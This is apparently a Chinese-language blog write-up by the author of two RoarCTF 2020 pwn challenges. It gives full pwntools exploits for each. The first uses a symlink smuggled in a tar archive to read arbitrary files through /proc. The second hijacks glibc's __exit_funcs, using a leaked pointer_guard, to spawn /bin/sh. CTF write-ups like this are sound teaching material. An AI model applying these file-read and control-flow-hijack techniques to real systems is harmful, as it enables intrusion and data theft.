avatar

目录
嘶吼 Roarctf 2020 pwn writeup

机缘巧合出了两道pwn,希望各位师傅们玩儿的开心…

题目源码/附件/exp: https://github.com/TaQini/ctf/tree/master/roarctf2020

qtar

考察路径穿越,有两处限制:一是路径中不能出现/.且tar文件内部中不能出现home,二是只能解压先前被压缩的文件且只能读取被解压出的文件。主要思路就是构造指向/home/ctf/flag的软链接并且绕过检测读取之。

使用软链接读取实现任意目标文件的具体流程如下:

  • 随便上传一个文件,然后压缩,生成压缩文件A

  • 使用ln -s <file> <A>生成目标文件的软链接,并将软链接命名为A

  • 上传含有该软链接的tar压缩文件,重命名为A,随后解压,覆盖A

    第一次覆盖A,此时A为含有软链的tar压缩包

  • 再次解压A,释放软链接,覆盖A

    第二次覆盖A,此时A为指向目标文件的软链接

  • 读取A即可读出目标文件的内容

相关代码如下:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def leak(filename):
f1 = upload('taqini know the flag')
log.info('uploaded file: '+f1)

c1 = compress(f1,'TaQini')
log.info('compressed file: '+c1)
log.info('archive file name: '+'TaQini')

# create soft link file
os.system('ln -s %s %s'%(filename, c1))
os.system('tar cvf payload.tar '+c1+' >/dev/null')
payload = open('payload.tar').read()

f2 = upload(payload)
log.info('uploaded file '+f2)

c2 = compress(f2, c1)
log.info('compressed file: '+c2)
log.info('archive file name: '+c1)

extract(c2)
log.info('extract '+c2+' --> '+c1)

extract(c1)
log.info('extract '+c1+' --> '+c1)

log.info('readfile: '+c1)
data = readfile(c1)

log.success('data:'+data)
return data

helper func:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def upload(data):
sla('> ','u')
sla('Content:',data)
ru('as /tmp/')
return rc(32)

def compress(filename, arcname):
sla('> ','c')
sla('Filename: /tmp/',filename)
sla('Rename archive file? [y/N]','y')
sla('Arcname: ',arcname)
ru('as ')
return rc(32)

def extract(filename):
sla('> ','x')
sla('Filename:',filename)

def readfile(filename):
sla('> ','r')
sla('Filename:',filename)
return ru('\n')

可能不太好想到的就是绕过home检测的方式叭:

  • 通过读取/proc/self/stat泄漏父进程pid
  • 再通过读取/proc/父进程pid/cwd/flag读取flag

根据附件启动脚本

bash
1
2
3
#!/bin/bash
cd /home/ctf
stdbuf -i 0 -o 0 -e 0 /usr/bin/timeout 90 ./qtar

可知qtar的父进程cwd/home/ctf

全部exp为:

python
1
2
3
4
pid = leak('/proc/self/stat').split()[3]
print pid
flag = leak('/proc/%s/cwd/flag'%pid)
print flag

2a1

魔改的前一阵刚结束的nu1lctf2020… 环境改成了Ubuntu16,加了一个任意读,大概调试一下就能解出叭…

主要思路就是任意写打__exit_funcs,伪造inital结构体中的exit_function实现控制流劫持,其中exit_function是被加密的,加密用的point_guardtls结构体中(canary的后边),通过任意读来泄漏。

__run_exit_handlers源码位于stdlib/exit.c感兴趣的小伙伴儿们可以去康康。

exp

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python
#coding=utf-8
#__author__:TaQini

from pwn import *

local_file = './2+1'
local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = './libc.so.6'

is_local = False
is_remote = False

if len(sys.argv) == 1:
is_local = True
p = process(local_file)
libc = ELF(local_libc)
elif len(sys.argv) > 1:
is_remote = True
if len(sys.argv) == 3:
host = sys.argv[1]
port = sys.argv[2]
else:
host, port = sys.argv[1].split(':')
p = remote(host, port)
libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag :p.info(tag + ': {:#x}'.format(eval(tag)))

def debug(cmd=''):
if is_local: gdb.attach(p,cmd)

def ROL(data,off):
tmp = bin(data)[2:].rjust(64,'0')
return int(tmp[off:]+tmp[:off],2)

def ROR(data,off):
tmp = bin(data)[2:].rjust(64,'0')
return int(tmp[64-off:]+tmp[:64-off],2)

# get libc base addr
ru('Gift: ')
libcbase = eval(ru('\n')) - libc.sym['alarm']
info_addr('libcbase')

# calc system and binsh addr
system = libcbase + libc.sym['system']
binsh = libcbase + libc.search('/bin/sh').next()

# calc addr of pointer_guard in tls
# local env: ubuntu16.04 libc2.23ubuntu11.2
pointer_guard = 0x5e3730 + libcbase
if is_remote:
pointer_guard = 0x5ed730 + libcbase
print 'remote now....'
info_addr('pointer_guard')

# leak pointer_guard
sea('read?:',p64(pointer_guard))
ru('data: ')
pg = u64(rc(8))
info_addr('pg')

# calc addr of __exit_funcs in libc
__exit_funcs = 0x3c45f8 + libcbase
info_addr('__exit_funcs')
# overwrite inital in __exit_funcs
sea('write?:',p64(__exit_funcs))

# fake inital: struct exit_function_list
msg = p64(0) # *next;
msg += p64(1) # idx;
msg += p64(4) # fns->flavor
msg += p64(ROL(system^pg,0x11)) + p64(binsh) # fns->func

sla('msg: ', msg)

p.interactive()
文章作者: TaQini
文章链接: http://taqini.space/2020/12/07/roarctf2020-2taqini-pwn-wp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TaQini
打赏
  • Wechat
    Wechat
  • Alipay
    Alipay

评论